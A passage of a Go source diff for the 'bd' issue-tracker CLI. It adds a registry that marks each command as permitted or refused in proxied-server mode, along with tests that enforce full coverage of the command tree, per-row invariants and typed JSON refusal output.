trackVersionCtl). + withHistory(HistoryDirectOnly), + refusedPath("dolt pull", "proxy.dolt_pull.unsupported", ProxyReasonUnimplemented, trackVersionCtl). + withHistory(HistoryDirectOnly), + refusedPath("dolt remote", "proxy.dolt_remote.unsupported", ProxyReasonUnimplemented, trackVersionCtl). + withHistory(HistoryDirectOnly). + asParentGroup(), + refusedPath("dolt remote add", "proxy.dolt_remote.unsupported", ProxyReasonUnimplemented, trackVersionCtl). + withHistory(HistoryDirectOnly), + refusedPath("dolt remote list", "proxy.dolt_remote.unsupported", ProxyReasonUnimplemented, trackVersionCtl). + withHistory(HistoryDirectOnly), + refusedPath("dolt remote reset-data", "proxy.dolt_remote.unsupported", ProxyReasonUnimplemented, trackVersionCtl). + withHistory(HistoryDirectOnly), + refusedPath("sync", "proxy.sync.unsupported", ProxyReasonUnimplemented, trackSync). + withHistory(HistoryDirectOnly), + + // --- migration and workspace surgery ------------------------------------ + // Storage-format and workspace surgery against a store other clients may be + // holding open. `migrate schema` is the exception and is already routed: + // the provider open runs it under the migration gate. + // + // S7 MUST RE-EXAMINE THE ROWS BELOW PER TOPOLOGY. "A store other clients may + // be holding open" describes external and team-server workspaces; it does + // not describe managed-local, which is 1:1 and bd-owned — bd spawned the + // dolt child itself. A row cannot yet say "refused, except on managed-local" + // (S3's backup locality policy is the slice that adds per-topology rules), + // so the blanket refusal is the only thing this table can express today. + // These rows keep it because nobody has done the semantic work to narrow + // them, not because the work has been done and come out this way. + refusedPath("migrate", "proxy.migrate.unsupported", ProxyReasonDesign, ""), + refusedPath("migrate sync", "proxy.migrate.unsupported", ProxyReasonDesign, ""), + // `migrate hooks` is the one row in this block the surgery rationale never + // described: it plans and applies GIT HOOK FILE migration (migrate_hooks.go + // -> doctor.PlanHookMigration) on the local filesystem and opens no store at + // all. It is refused for a structural reason instead — the command is wired + // into the store-opening path it does not need. It is on none of main.go's + // store-init skip lists, so permitting it makes the root pre-run open the + // proxied provider before RunE ever runs. Measured, not assumed: with this + // row flipped to permitted, `bd migrate hooks --dry-run` on a managed-local + // workspace started the proxy AND its dolt child (both pidfiles present) to + // print a hook plan, and on a workspace with an unreadable sidecar it exited + // 1 with "failed to open uow provider: corrupt proxied-server sidecar ..." + // where it had cleanly refused before. Trading a typed refusal for a + // connection error is not a lift. The honest fix is to take the command off + // the store path first, which is S7's job, not this slice's. + refusedPath("migrate hooks", "proxy.migrate.unsupported", ProxyReasonUnimplemented, + trackLongTail+" (specifically: put `migrate hooks` on main.go's store-init skip list, then permit it)"), + refusedPath("migrate issues", "proxy.migrate.unsupported", ProxyReasonDesign, ""), + refusedPath("migrate-issues", "proxy.migrate.unsupported", ProxyReasonDesign, ""), + refusedPath("migrate-personal", "proxy.migrate.unsupported", ProxyReasonDesign, ""), + + // --- destructive admin -------------------------------------------------- + // Same topology-blind rationale as the migrate block above, and the same + // instruction to S7: "destructive against a possibly-shared store" is a + // claim about external and team-server shapes. On managed-local the store is + // this workspace's alone, and `bd admin reset` there is no more shared than + // it is in embedded mode, where it is honored. Re-examine per topology. + refusedPath("admin cleanup", "proxy.admin.unsupported", ProxyReasonDesign, ""), + refusedPath("admin reset", "proxy.admin.unsupported", ProxyReasonDesign, ""), + // --- issue compaction --------------------------------------------------- + // `bd admin compact` without --dolt is the description-rewriting pass; only + // the --dolt arm has a proxied route (runCompactDoltProxiedServer). The + // --dolt arm is decided by flag VALUE, so the gate keeps a value-aware + // branch for it and lands here when the flag is off. + refusedPath("admin compact", "proxy.compact.unsupported", ProxyReasonUnimplemented, trackLongTail). + withMessage("only 'compact --dolt' is supported in proxied-server mode"), + // `bd restore` recovers a COMPACTED ISSUE's original text, not a backup — + // the backup verb is `bd backup restore`. Its snapshot read is ordinary + // CRUD; only its fallback path (reconstructing from Dolt history when no + // snapshot was archived) touches version control. + refusedPath("restore", "proxy.restore.unsupported", ProxyReasonUnimplemented, trackLongTail), + + // --- gates, formulas, swarm, merge slots -------------------------------- + // Ordinary CRUD over a store with no version-control surface. They stay + // refused because nothing downstream has asked for them, which is this + // codebase's standing rule for lifting a refusal — not because the proxied + // topology makes them wrong. + refusedPath("gate discover", "proxy.gate.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedPath("cook", "proxy.formula.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedPath("ship", "proxy.formula.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedPath("swarm create", "proxy.swarm.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedPath("swarm list", "proxy.swarm.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedPath("merge-slot create", "proxy.merge_slot.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedPath("merge-slot check", "proxy.merge_slot.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedPath("merge-slot acquire", "proxy.merge_slot.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedPath("merge-slot release", "proxy.merge_slot.unsupported", ProxyReasonUnimplemented, trackLongTail), + + // --- transforms --------------------------------------------------------- + // ID rewrites walk every reference in the store. They need a routed + // multi-statement transaction, which the UOW can express; nobody has + // written it. The arg-set rows are what let the read-only preview of a + // duplicate merge stay honored while the merge itself is refused. + refusedPath("rename", "proxy.transform.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedPath("rename-prefix", "proxy.transform.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedArgs("rename-prefix", "--dry-run", "proxy.transform.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedArgs("rename-prefix", "--repair", "proxy.transform.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedArgs("rename-prefix", "--dry-run --repair", "proxy.transform.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedPath("duplicate", "proxy.transform.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedArgs("duplicate", "--of", "proxy.transform.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedPath("supersede", "proxy.transform.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedArgs("supersede", "--with", "proxy.transform.unsupported", ProxyReasonUnimplemented, trackLongTail), + refusedArgs("duplicates", "--auto-merge", "proxy.transform.unsupported", ProxyReasonUnimplemented, trackLongTail), + // The dry run reports what the merge WOULD do without writing anything, so + // it rides the read path plain `duplicates` already uses. + {Path: "duplicates", ArgSet: "--auto-merge --dry-run", Rule: proxyCapabilityRule{Outcome: ProxyOutcomeHonored}}, + + // --- routed history ----------------------------------------------------- + // The two paths that already have a proxied route, recorded so the class is + // asserted rather than remembered. + permitted("history").withHistory(HistoryProxySupported), + permitted("dolt remote remove").withHistory(HistoryProxySupported), + + // --- untyped refusals inside RunE --------------------------------------- + // The gate permits these paths and the command refuses itself with a bare + // string, so a JSON consumer gets no code and no mutates flag. They are + // listed to inventory that surface, not to enforce it: converting them to + // typed refusals changes observable output and belongs to the slice that + // owns each family. Tracker verbs are ordinary store reads plus a network + // call; nothing about the proxied topology makes them wrong. + refusedInRunE("ado status", "ado.go"), + refusedInRunE("ado projects", "ado.go"), + refusedInRunE("ado sync", "ado.go"), + refusedInRunE("github status", "github.go"), + refusedInRunE("github repos", "github.go"), + refusedInRunE("github sync", "github.go"), + refusedInRunE("gitlab status", "gitlab.go"), + refusedInRunE("gitlab projects", "gitlab.go"), + refusedInRunE("gitlab sync", "gitlab.go"), + refusedInRunE("notion status", "notion.go"), + refusedInRunE("notion init", "notion.go"), + refusedInRunE("notion connect", "notion.go"), + refusedInRunE("notion sync", "notion.go"), + refusedInRunE("create-form", "create_form.go"), +} + +// proxyPermittedPaths lists every command path the proxied front door lets +// through. It exists so that a command added without a policy decision fails +// TestProxyCapabilityRegistryCoversCommandTree instead of shipping — the whole +// point of the registry. Being listed here says the GATE permits the path; a +// permitted command with no proxied route still fails at the store factory with +// proxy.store.unrouted. +var proxyPermittedPaths = []string{ + // issue CRUD and queries + "assign", "batch", "blocked", "children", "close", "comment", "count", "create", + "defer", "delete", "duplicates", "edit", "export", "find-duplicates", "forget", + "gc", "graph", "graph check", "heartbeat", "import", "info", "lint", "link", + "list", "note", "orphans", "priority", "promote", "prune", "purge", "q", "query", + "ready", "recompute-blocked", "reclaim", "reopen", "search", "set-state", "show", + "stale", "status", "statuses", "tag", "types", "unclaim", "undefer", "update", + + // comments, dependencies, labels, key-value + "comments", "comments add", "comments list", + "dep", "dep add", "dep cycles", "dep list", "dep relate", "dep remove", "dep tree", "dep unrelate", + "kv clear", "kv get", "kv list", "kv set", + "label add", "label list", "label list-all", "label propagate", "label remove", + + // molecules, epics, todos, state + "epic close-eligible", "epic status", + "mol bond", "mol burn", "mol current", "mol distill", "mol last-activity", "mol pour", + "mol progress", "mol ready", "mol seed", "mol show", "mol squash", "mol stale", + "mol wisp", "mol wisp create", "mol wisp gc", "mol wisp list", + "state", "state list", "todo", "todo add", "todo done", "todo list", + + // gates, rules, provenance, audit, upgrade review + "audit label", "audit record", + "gate add-waiter", "gate check", "gate create", "gate list", "gate resolve", "gate show", + "provenance by-ref", "provenance log", "provenance record", + "rules audit", "rules compact", + "upgrade ack", "upgrade review", "upgrade status", + + // workspace lifecycle and configuration + "bootstrap", "config apply", "config drift", "config get", "config list", "config set", + "config set-many", "config show", "config unset", "config validate", "context", + "init", "init-safety", "onboard", "preflight", "quickstart", "schema", "setup", "where", + "version", "worktree create", "worktree info", "worktree list", "worktree remove", + + // storage, history and migration paths that are already routed or store-free + "compact", "events export", "events prune", "events tail", + "dolt clean-databases", "dolt killall", "dolt set", "dolt show", "dolt status", + "dolt start", "dolt stop", "dolt test", + "migrate from-proxied-server-to-server", "migrate from-proxied-server-to-shared-server", + "migrate from-server-to-proxied-server", "migrate from-shared-server-to-proxied-server", + "migrate legacy-sqlite", "migrate schema", + + // formulas (parser-only), agent memory, swarm reads + "formula convert", "formula list", "formula schema", "formula show", + "mail", "memories", "ping", "prime", "recall", "remember", + "swarm status", "swarm validate", + + // human-in-the-loop queue + "human", "human dismiss", "human list", "human respond", "human stats", + + // trackers: the verbs with no proxied refusal of any kind + "ado pull", "ado push", "github pull", "github push", "gitlab pull", "gitlab push", + "jira pull", "jira push", "jira status", "jira sync", + "linear pull", "linear push", "linear status", "linear sync", "linear teams", + "notion pull", "notion push", + + // hooks, metrics, serving and internal entry points + "hooks install", "hooks list", "hooks run", "hooks uninstall", + "metrics", "metrics example", "metrics off", "metrics on", + "serve", "sql", + "codex-hook", "cursor-hook", "db-proxy-child", "send-metrics", +} + +func init() { + for _, path := range proxyPermittedPaths { + proxyCapabilityRegistry = append(proxyCapabilityRegistry, permitted(path)) + } + proxyCapabilityIndex = make(map[string]capabilityRow, len(proxyCapabilityRegistry)) + for _, row := range proxyCapabilityRegistry { + proxyCapabilityIndex[capabilityKey(row.Path, row.ArgSet)] = row + } +} + +// proxyCapabilityIndex is proxyCapabilityRegistry keyed for lookup. Duplicate +// keys are rejected by TestProxyCapabilityRegistryHasNoDuplicateRows rather +// than by a panic here: a typo must fail the build, not every bd invocation. +var proxyCapabilityIndex map[string]capabilityRow + +func capabilityKey(path, argSet string) string { return path + "\x00" + argSet } + +// LookupCapabilityRow returns the row for an exact path/arg-set key. +func LookupCapabilityRow(path, argSet string) (capabilityRow, bool) { + row, ok := proxyCapabilityIndex[capabilityKey(path, argSet)] + return row, ok +} + +// capabilityRowFor resolves a command to its row, preferring the row keyed on +// the flags the invocation actually set over the bare path. +// +// The fallback to the bare row is what lets one table serve both halves of the +// old policy: a path row refuses whatever flags were passed unless a more +// specific row says otherwise, so `backup sync --dry-run` is still refused by +// the `backup sync` row. The predecessor of the arg-set half matched exactly or +// not at all, which meant an unlisted flag combination on a refused path +// slipped through; no such combination exists among the commands that carry +// these flags, so nothing changes today, and the fallback is why none can +// appear later. +func capabilityRowFor(cmd *cobra.Command) (capabilityRow, bool) { + path := commandRegistryPath(cmd) + if argSet := commandPolicyArgSet(cmd); argSet != "" { + if row, ok := LookupCapabilityRow(path, argSet); ok { + return row, true + } + } + return LookupCapabilityRow(path, "") +} + +// commandRegistryPath is the registry key for a command: its full path with the +// root name removed, for example "dolt remote add". +func commandRegistryPath(cmd *cobra.Command) string { + return strings.TrimSpace(strings.TrimPrefix(cmd.CommandPath(), cmd.Root().Name())) +} + +// proxyPolicyArgFlags are the flags that take part in a capability key. Only +// flags that alter a command's execution belong here: output, tracing and other +// inherited root flags must never bypass a refusal by changing the key. +var proxyPolicyArgFlags = map[string]bool{ + "auto-merge": true, "dry-run": true, "repair": true, "of": true, "with": true, +} + +// commandPolicyArgSet renders the set flags that take part in the key, sorted so +// the key does not depend on the order the user typed them. +func commandPolicyArgSet(cmd *cobra.Command) string { + var args []string + cmd.Flags().Visit(func(f *pflag.Flag) { + if proxyPolicyArgFlags[f.Name] { + args = append(args, "--"+f.Name) + } + }) + sort.Strings(args) + return strings.Join(args, " ") +} + +// validateProxyRegistryBeforeProvider is the path-keyed half of the proxied +// front door: it rejects direct-only commands before migrations, auto-start or +// provider construction, so a refusal leaves the workspace untouched. The +// flag-keyed half is validateProxyCapabilitiesBeforeProvider. +func validateProxyRegistryBeforeProvider(cmd *cobra.Command) error { + if cmd == nil { + return nil + } + // `compact` is the one rule that a flag VALUE decides rather than a flag's + // presence, so it cannot be expressed as an arg-set row. `bd compact` and + // `bd rules compact` have no --dolt flag at all and are never refused here; + // `bd admin compact --dolt` has a proxied route and falls through to it. + if cmd.Name() == "compact" { + if cmd.Flags().Lookup("dolt") == nil { + return nil + } + if dolt, _ := cmd.Flags().GetBool("dolt"); dolt { + return nil + } + } + row, ok := capabilityRowFor(cmd) + if !ok || row.Rule.Outcome != ProxyOutcomeRefused { + return nil + } + return HandleProxyCapabilityError(proxyCapabilityErrorFor(row.Rule)) +} + +func proxyCapabilityErrorFor(rule proxyCapabilityRule) *ProxyCapabilityError { + return &ProxyCapabilityError{ + Code: rule.Code, + Message: rule.Message, + ExitCode: rule.ExitCode, + Mutates: rule.Mutates, + Reason: rule.Reason, + } +} + +// HistoryCapabilityClass classifies history/version-control commands on the +// proxied topology without coupling them to a particular backend engine. +type HistoryCapabilityClass string + +const ( + HistoryProxySupported HistoryCapabilityClass = "proxy-supported" + HistoryDirectOnly HistoryCapabilityClass = "direct-only" +) + +// LookupHistoryCapability classifies an exact command path. Paths with no +// history classification are intentionally absent so callers cannot +// accidentally advertise support. +func LookupHistoryCapability(commandPath string) (HistoryCapabilityClass, bool) { + row, ok := LookupCapabilityRow(commandPath, "") + if !ok || row.History == "" { + return "", false + } + return row.History, true +} diff --git a/cmd/bd/history_capability_test.go b/cmd/bd/capability_registry_history_test.go similarity index 92% rename from cmd/bd/history_capability_test.go rename to cmd/bd/capability_registry_history_test.go index cc277190d..c0319a73b 100644 --- a/cmd/bd/history_capability_test.go +++ b/cmd/bd/capability_registry_history_test.go @@ -31,7 +31,7 @@ func TestSyncRefusesBeforeProvider(t *testing.T) { root := &cobra.Command{Use: "bd"} cmd := &cobra.Command{Use: "sync"} root.AddCommand(cmd) - err := validateProxyMaintenanceBeforeProvider(cmd) + err := validateProxyRegistryBeforeProvider(cmd) if err == nil { t.Fatalf("sync refusal = %#v", err) } @@ -71,7 +71,7 @@ func TestHistoryDirectOnlyRefusalContract(t *testing.T) { } uowProvider = nil jsonOutput = true - out := captureStdout(t, func() error { _ = validateProxyMaintenanceBeforeProvider(cmd); return nil }) + out := captureStdout(t, func() error { _ = validateProxyRegistryBeforeProvider(cmd); return nil }) var got map[string]any want := expected[path] if err := json.Unmarshal([]byte(out), &got); err != nil || got["code"] != want.code || got["error"] != want.message || got["mutates"] != false { @@ -104,7 +104,7 @@ func TestHistoryNestedFrontDoorsRefuseAndSupportedPathsPass(t *testing.T) { cmd.AddCommand(child) cmd = child } - err := validateProxyMaintenanceBeforeProvider(cmd) + err := validateProxyRegistryBeforeProvider(cmd) if path == "dolt remote remove" { if err != nil { t.Fatalf("supported %s refused: %v", path, err) @@ -118,9 +118,9 @@ func TestHistoryNestedFrontDoorsRefuseAndSupportedPathsPass(t *testing.T) { t.Fatalf("%s exit=%v, want 1", path, err) } var got map[string]any - // validateProxyMaintenanceBeforeProvider renders the typed refusal to + // validateProxyRegistryBeforeProvider renders the typed refusal to // stdout in JSON mode; the command must retain its nested path. - out := captureStdout(t, func() error { _ = validateProxyMaintenanceBeforeProvider(cmd); return nil }) + out := captureStdout(t, func() error { _ = validateProxyRegistryBeforeProvider(cmd); return nil }) if err := json.Unmarshal([]byte(out), &got); err != nil { t.Fatalf("%s refusal JSON: %v (%q)", path, err, out) } @@ -132,7 +132,7 @@ func TestHistoryNestedFrontDoorsRefuseAndSupportedPathsPass(t *testing.T) { root := &cobra.Command{Use: "bd"} history := &cobra.Command{Use: "history"} root.AddCommand(history) - if err := validateProxyMaintenanceBeforeProvider(history); err != nil { + if err := validateProxyRegistryBeforeProvider(history); err != nil { t.Fatalf("history --events supported path refused: %v", err) } } diff --git a/cmd/bd/capability_registry_test.go b/cmd/bd/capability_registry_test.go new file mode 100644 index 000000000..f6f7f47c1 --- /dev/null +++ b/cmd/bd/capability_registry_test.go @@ -0,0 +1,399 @@ +package main + +import ( + "errors" + "os" + "path/filepath" + "regexp" + "sort" + "strings" + "testing" + + "github.com/spf13/cobra" +) + +// cobraBuiltinCommands are added to the tree by cobra itself, not by bd, and +// only once something calls Execute — which another test in this package does +// (completions_test.go runs __complete). Without this set the completeness test +// below would pass or fail depending on test ORDER, which is the worst possible +// property for a policy gate. +var cobraBuiltinCommands = map[string]bool{ + "help": true, "completion": true, "__complete": true, "__completeNoDesc": true, +} + +// walkCommandPaths returns every command path in the tree, with the runnable +// ones flagged. Runnable is the property that matters: cobra returns ErrHelp +// for a non-runnable parent before PersistentPreRunE, so a group command never +// reaches the capability gate at all. +func walkCommandPaths(root *cobra.Command) map[string]bool { + paths := map[string]bool{} + var walk func(c *cobra.Command) + walk = func(c *cobra.Command) { + if cobraBuiltinCommands[c.Name()] { + return + } + if path := commandRegistryPath(c); path != "" { + paths[path] = c.Runnable() + } + for _, sub := range c.Commands() { + walk(sub) + } + } + walk(root) + return paths +} + +// TestProxyCapabilityRegistryCoversCommandTree is the reason this registry +// exists. Every command that can actually run must state what the proxied front +// door does with it. A new command with no row fails here, at build time, rather +// than shipping and dying in the store factory with an untyped error — which is +// how every scattered refusal in this codebase got there. +// +// Adding a row is not a formality: choose the outcome deliberately. +// - the command works over the proxied provider, or never opens a store at +// all => add its path to proxyPermittedPaths +// - the command must not run on a shared/proxied store => add a refusedPath +// row with Reason=design and say why in a comment +// - the command could work but nobody has routed it => add a refusedPath row +// with Reason=unimplemented and a Tracking item +func TestProxyCapabilityRegistryCoversCommandTree(t *testing.T) { + var missing []string + for path, runnable := range walkCommandPaths(rootCmd) { + if !runnable { + continue + } + if _, ok := LookupCapabilityRow(path, ""); !ok { + missing = append(missing, path) + } + } + sort.Strings(missing) + if len(missing) > 0 { + t.Fatalf("%d command(s) have no proxied-server capability row:\n %s\n\n"+ + "Add each to cmd/bd/capability_registry.go: proxyPermittedPaths if the proxied "+ + "front door should let it through, or a refusedPath row with a Reason if it should not.", + len(missing), strings.Join(missing, "\n ")) + } +} + +// TestProxyCapabilityRegistryHasNoStaleRows is the other direction: a row whose +// command no longer exists is policy for nothing, and would hide the renamed +// command's own missing row behind a green test. +func TestProxyCapabilityRegistryHasNoStaleRows(t *testing.T) { + tree := walkCommandPaths(rootCmd) + var stale []string + for _, row := range proxyCapabilityRegistry { + if _, ok := tree[row.Path]; !ok { + stale = append(stale, row.display()) + } + } + sort.Strings(stale) + if len(stale) > 0 { + t.Fatalf("registry rows for commands that do not exist:\n %s", strings.Join(stale, "\n ")) + } +} + +func TestProxyCapabilityRegistryHasNoDuplicateRows(t *testing.T) { + seen := map[string]bool{} + for _, row := range proxyCapabilityRegistry { + key := capabilityKey(row.Path, row.ArgSet) + if seen[key] { + t.Errorf("duplicate registry row for %q: one of them is dead and the lookup silently picks the last", row.display()) + } + seen[key] = true + } +} + +// TestProxyCapabilityRegistryRowInvariants pins the contract every row must +// satisfy. The Reason rules are the load-bearing ones: a refusal with no reason +// is exactly the tribal knowledge this registry replaces, and an unimplemented +// refusal with no tracking item is a gap nobody owns. +func TestProxyCapabilityRegistryRowInvariants(t *testing.T) { + for _, row := range proxyCapabilityRegistry { + switch row.Rule.Outcome { + case ProxyOutcomeRefused: + if row.Rule.Code == "" || row.Rule.Message == "" || row.Rule.ExitCode != 1 { + t.Errorf("%s: refusal must carry a code, a message and exit 1, got %#v", row.display(), row.Rule) + } + if row.Rule.Mutates { + t.Errorf("%s: a refusal never mutates", row.display()) + } + if !strings.HasPrefix(row.Rule.Code, "proxy.") { + t.Errorf("%s: code %q must be in the stable proxy.* namespace", row.display(), row.Rule.Code) + } + case ProxyOutcomeRefusedInRunE: + if row.Rule.Code != "" { + t.Errorf("%s: an untyped RunE refusal has no code; if it has one it belongs in the gate", row.display()) + } + case ProxyOutcomeHonored: + if row.Rule.Reason != "" { + t.Errorf("%s: Reason explains a refusal; an honored row must not carry one", row.display()) + } + default: + t.Errorf("%s: unexpected outcome %q", row.display(), row.Rule.Outcome) + } + + refusal := row.Rule.Outcome == ProxyOutcomeRefused || row.Rule.Outcome == ProxyOutcomeRefusedInRunE + if refusal { + switch row.Rule.Reason { + case ProxyReasonDesign, ProxyReasonUnimplemented: + default: + t.Errorf("%s: refusal must declare Reason design or unimplemented, got %q", row.display(), row.Rule.Reason) + } + if row.Rule.Reason == ProxyReasonUnimplemented && row.Rule.Tracking == "" { + t.Errorf("%s: an unimplemented refusal needs a Tracking item naming who closes it", row.display()) + } + } + if row.History == HistoryDirectOnly && row.Rule.Outcome != ProxyOutcomeRefused { + t.Errorf("%s: classified direct-only but the gate does not refuse it", row.display()) + } + if row.History == HistoryProxySupported && row.Rule.Outcome != ProxyOutcomeHonored { + t.Errorf("%s: classified proxy-supported but the gate refuses it", row.display()) + } + } +} + +// inlineProxiedRefusal matches the untyped refusals commands raise from their +// own RunE, e.g. HandleErrorRespectJSON("gitlab sync is not supported in +// proxied-server mode"). +var inlineProxiedRefusal = regexp.MustCompile(`HandleErrorRespectJSON\("([^"]*proxied-server mode)"\)`) + +// inlineProxiedMessages classifies the messages that do not name their command +// path in the standard " is not supported ..." shape. A path maps the +// message to its registry row; an empty string records a message that mentions +// proxied mode without being a capability refusal at all. Keeping both explicit +// is what lets the scan below be exhaustive rather than best-effort. +var inlineProxiedMessages = map[string]string{ + "only 'compact --dolt' is supported in proxied-server mode": "admin compact", + // Not a refusal: --database is the flag that only MAKES SENSE on a proxied + // workspace, so this fires on the direct topologies. + "--database (or a --db value naming a database) is only supported in proxied-server mode": "", +} + +// TestProxyCapabilityRegistryCoversInlineRefusals scans the package for +// refusals raised inside RunE and requires each one to resolve to a registry +// row. Those strings are the untyped half of the refusal surface — no code, no +// mutates flag, nothing a JSON consumer can classify — and before the registry +// they were discoverable only by grep. +// +// The scan runs in both directions on purpose: a new inline refusal must be +// registered, and a ProxyOutcomeRefusedInRunE row whose string has been deleted +// must be flipped to its new outcome by the slice that deleted it. +func TestProxyCapabilityRegistryCoversInlineRefusals(t *testing.T) { + entries, err := os.ReadDir(".") + if err != nil { + t.Fatalf("read package dir: %v", err) + } + + found := map[string]string{} // registry path -> file it was found in + for _, entry := range entries { + name := entry.Name() + if entry.IsDir() || !strings.HasSuffix(name, ".go") || strings.HasSuffix(name, "_test.go") { + continue + } + src, err := os.ReadFile(filepath.Clean(name)) + if err != nil { + t.Fatalf("read %s: %v", name, err) + } + for _, match := range inlineProxiedRefusal.FindAllStringSubmatch(string(src), -1) { + message := match[1] + path, ok := inlineRefusalPath(message) + if !ok { + t.Errorf("%s: %q mentions proxied-server mode but does not name a command path; "+ + "add it to inlineProxiedMessages so it can be checked against the registry "+ + "(map it to \"\" if it is not a capability refusal)", name, message) + continue + } + if path == "" { + continue // documented non-refusal + } + found[path] = name + } + } + + for path, file := range found { + argSet := "" + if base, args, split := strings.Cut(path, " --"); split { + argSet = "--" + args + path = base + } + row, ok := LookupCapabilityRow(path, argSet) + if !ok { + t.Errorf("%s refuses %q inside RunE with no registry row; the front door and the command disagree about what bd supports", + file, strings.TrimSpace(path+" "+argSet)) + continue + } + if row.Rule.Outcome == ProxyOutcomeHonored { + t.Errorf("%s refuses %q inside RunE, but the registry says the front door honors it", file, row.display()) + } + } + + for _, row := range proxyCapabilityRegistry { + if row.Rule.Outcome != ProxyOutcomeRefusedInRunE { + continue + } + if _, ok := found[row.Path]; !ok { + t.Errorf("%s is recorded as an untyped RunE refusal but no such refusal exists in the package any more (%s); "+ + "flip the row to its new outcome", row.display(), row.Note) + } + } +} + +func inlineRefusalPath(message string) (string, bool) { + if path, ok := inlineProxiedMessages[message]; ok { + return path, true + } + path, ok := strings.CutSuffix(message, " is not supported in proxied-server mode") + if !ok { + return "", false + } + // conflicts.go says "bd conflicts ..."; the registry keys on the path. + return strings.TrimPrefix(path, "bd "), true +} + +// TestProxyCapabilityRegistryReasonsAreAssignedIndividually guards the one way +// this registry could become useless while staying green: reasons assigned in +// bulk. Every later slice reads these to decide what is left to do, so both +// values have to be genuinely represented, and the design refusals — the claim +// a reviewer will challenge — are listed here by name. +func TestProxyCapabilityRegistryReasonsAreAssignedIndividually(t *testing.T) { + wantDesign := map[string]bool{ + "branch": true, "diff": true, "flatten": true, + "conflicts": true, "conflicts list": true, "conflicts show": true, "conflicts resolve": true, + "vc": true, "vc merge": true, "vc commit": true, "vc status": true, + "federation": true, "federation sync": true, "federation status": true, + "federation add-peer": true, "federation remove-peer": true, "federation list-peers": true, + "repo": true, "repo add": true, "repo remove": true, "repo list": true, "repo sync": true, + // `migrate hooks` is deliberately NOT here: it migrates git hook files + // and opens no store, so the surgery rationale the rest of this block + // rests on does not describe it. Its refusal is structural — the + // command is on none of main.go's store-init skip lists — which makes + // it unimplemented with a tracking item, not design. + "migrate": true, "migrate sync": true, "migrate issues": true, + "migrate-issues": true, "migrate-personal": true, + "admin cleanup": true, "admin reset": true, + } + + gotDesign := map[string]bool{} + unimplemented := 0 + for _, row := range proxyCapabilityRegistry { + switch row.Rule.Reason { + case ProxyReasonDesign: + gotDesign[row.display()] = true + case ProxyReasonUnimplemented: + unimplemented++ + } + } + + for path := range wantDesign { + if !gotDesign[path] { + t.Errorf("%q is no longer refused by design; if that is intended, update this test and say why in the PR", path) + } + } + for path := range gotDesign { + if !wantDesign[path] { + t.Errorf("%q claims Reason=design and is not in the reviewed list; a design refusal is a semantic claim that needs review", path) + } + } + if unimplemented == 0 { + t.Error("no unimplemented refusals left — either the work is done or the reasons were bulk-assigned") + } +} + +// TestProxyCapabilityArgSetFallsBackToBarePath pins the lookup rule that lets +// one table carry both the path policy and the flag policy: a flag combination +// with no row of its own inherits the bare path's verdict rather than escaping +// it. Written against the real command tree so it exercises the flags these +// commands actually declare. +func TestProxyCapabilityArgSetFallsBackToBarePath(t *testing.T) { + for _, tc := range []struct { + path string + flags []string + want ProxyCapabilityOutcome + wantMsg string + }{ + // Covered by an explicit row: the message names the flags. + {"rename-prefix", []string{"dry-run"}, ProxyOutcomeRefused, "rename-prefix --dry-run is not supported in proxied-server mode"}, + // No row for this combination: it inherits the refused bare row rather + // than slipping past the gate. + {"rename-prefix", []string{"dry-run", "auto-merge"}, ProxyOutcomeRefused, "rename-prefix is not supported in proxied-server mode"}, + // Inheriting an honored bare row is equally load-bearing: this is the + // read-only preview and it must keep working. + {"duplicates", []string{"dry-run"}, ProxyOutcomeHonored, ""}, + } { + t.Run(tc.path+" "+strings.Join(tc.flags, " "), func(t *testing.T) { + root := &cobra.Command{Use: "bd"} + cmd := &cobra.Command{Use: tc.path} + root.AddCommand(cmd) + for _, flag := range tc.flags { + cmd.Flags().Bool(flag, false, "") + if err := cmd.Flags().Set(flag, "true"); err != nil { + t.Fatal(err) + } + } + row, ok := capabilityRowFor(cmd) + if !ok { + t.Fatalf("no row resolved for %q with %v", tc.path, tc.flags) + } + if row.Rule.Outcome != tc.want || row.Rule.Message != tc.wantMsg { + t.Fatalf("row = outcome %q message %q, want %q / %q", + row.Rule.Outcome, row.Rule.Message, tc.want, tc.wantMsg) + } + }) + } +} + +// TestProxyRefusalJSONCarriesReason pins the additive half of the JSON +// contract. {code, error, mutates} is frozen and parsed downstream; reason is +// new, and it must appear without disturbing the three fields that were already +// there. +func TestProxyRefusalJSONCarriesReason(t *testing.T) { + t.Setenv("BD_JSON_ENVELOPE", "") + oldJSON := jsonOutput + jsonOutput = true + t.Cleanup(func() { jsonOutput = oldJSON }) + + for _, tc := range []struct { + path, code string + reason ProxyRefusalReason + }{ + {"branch", "proxy.branch.unsupported", ProxyReasonDesign}, + {"sync", "proxy.sync.unsupported", ProxyReasonUnimplemented}, + } { + t.Run(tc.path, func(t *testing.T) { + root := &cobra.Command{Use: "bd"} + cmd := &cobra.Command{Use: tc.path} + root.AddCommand(cmd) + out := captureStdout(t, func() error { + _ = validateProxyRegistryBeforeProvider(cmd) + return nil + }) + for _, want := range []string{ + `"code": "` + tc.code + `"`, + `"error": "` + tc.path + ` is not supported in proxied-server mode"`, + `"mutates": false`, + `"reason": "` + string(tc.reason) + `"`, + } { + if !strings.Contains(out, want) { + t.Fatalf("refusal JSON missing %s:\n%s", want, out) + } + } + }) + } +} + +// TestProxiedStoreUnroutedIsTyped covers the backstop: a permitted command with +// no proxied route used to die with a bare string that no consumer could tell +// from a real store failure. +func TestProxiedStoreUnroutedIsTyped(t *testing.T) { + var typed *ProxyCapabilityError + err := errProxiedStoreUnrouted() + if !errors.As(err, &typed) { + t.Fatalf("store backstop error = %#v, want *ProxyCapabilityError", err) + } + if typed.Code != "proxy.store.unrouted" || typed.ExitCode != 1 || typed.Mutates { + t.Fatalf("store backstop = 